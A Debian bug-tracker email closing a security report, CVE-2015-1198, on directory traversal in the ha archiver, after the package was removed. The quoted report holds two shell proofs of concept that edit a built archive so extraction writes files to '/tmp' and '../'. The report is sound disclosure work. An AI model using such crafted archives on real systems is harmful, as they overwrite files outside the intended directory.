Your message dated Mon, 25 Apr 2016 17:35:51 +0000
with message-id <[email protected]>
and subject line Bug#822512: Removed package(s) from unstable
has caused the Debian Bug report #774954,
regarding ha: CVE-2015-1198: directory traversal vulnerabilities
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact [email protected]
immediately.)


-- 
774954: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774954
Debian Bug Tracking System
Contact [email protected] with problems
--- Begin Message ---
Package: ha
Version: 0.999p+dfsg-5
Tags: security

ha is susceptible to directory traversal vulnerabilities. While extracting an archive, it will happily use absolute and relative paths taken from the archive. This can be exploited by a malicious archive to write files outside the current directory.

ha seems to store file names separately from their paths. Directory traversals are possible through both of the parts.

1. Through file name part.

A sample archive could be prepared in following way:

$ touch XtmpXabs XXXrel
$ ha a test.ha XtmpXabs XXXrel
$ sed -i 's|XtmpXabs|/tmp/abs|g;s|XXXrel|../rel|g' test.ha
$ rm XtmpXabs XXXrel

Then check it works:

$ ls /tmp/abs ../rel
ls: cannot access /tmp/abs: No such file or directory
ls: cannot access ../rel: No such file or directory

$ ha lf test.ha
HA 0.999� Copyright (c) 1995 Harri Hirvola

Archive : test.ha (2 files)

  filename        original    compressed   rate     date        time   m
 CRC-32    path
 attr
===========================================================================
  /tmp/abs        0           0           100.0 %   2015-01-09  15:24  CPY
 00000000  (none)
 -rw-r--r--
---------------------------------------------------------------------------
  ../rel          0           0           100.0 %   2015-01-09  15:24  CPY
 00000000  (none)
 -rw-r--r--
===========================================================================
  2               0           0           100.0 %

$ ha x test.ha
HA 0.999� Copyright (c) 1995 Harri Hirvola

Archive : test.ha (2 files)

Unpacking CPY 100 %  /tmp/abs
Unpacking CPY 100 %  ../rel

$ ls /tmp/abs ../rel
../rel  /tmp/abs

2. Through path part.

A sample archive could be prepared in following way:

$ mkdir Xtmp/ XX/
$ touch Xtmp/abs XX/rel
$ ha a test.ha Xtmp/abs XX/rel
$ sed -i 's|Xtmp|/tmp|g;s|XX|..|g' test.ha
$ rm -r Xtmp/ XX/

Then check it works:

$ ls /tmp/abs ../rel
ls: cannot access /tmp/abs: No such file or directory
ls: cannot access ../rel: No such file or directory

$ ha lf test.ha
HA 0.999� Copyright (c) 1995 Harri Hirvola

Archive : test.ha (2 files)

  filename        original    compressed   rate     date        time   m
 CRC-32    path
 attr
===========================================================================
  abs             0           0           100.0 %   2015-01-09  15:29  CPY
 00000000  /tmp/
 -rw-r--r--
---------------------------------------------------------------------------
  rel             0           0           100.0 %   2015-01-09  15:29  CPY
 00000000  ../
 -rw-r--r--
===========================================================================
  2               0           0           100.0 %

$ ha x test.ha
HA 0.999� Copyright (c) 1995 Harri Hirvola

Archive : test.ha (2 files)

Unpacking CPY 100 %  /tmp/abs
Unpacking CPY 100 %  ../rel

$ ls /tmp/abs ../rel
../rel  /tmp/abs

--
Alexander Cherepanov

--- End Message ---
--- Begin Message ---
Version: 0.999p+dfsg-5+rm

Dear submitter,

as the package ha has just been removed from the Debian archive
unstable we hereby close the associated bug reports.  We are sorry
that we couldn't deal with your issue properly.

For details on the removal, please see https://bugs.debian.org/822512

The version of this package that was in Debian prior to this removal
can still be found using http://snapshot.debian.org/.

This message was generated automatically; if you believe that there is
a problem with it please contact the archive administrators by mailing
[email protected].

Debian distribution maintenance software
pp.
Scott Kitterman (the ftpmaster behind the curtain)

--- End Message ---

Reply via email to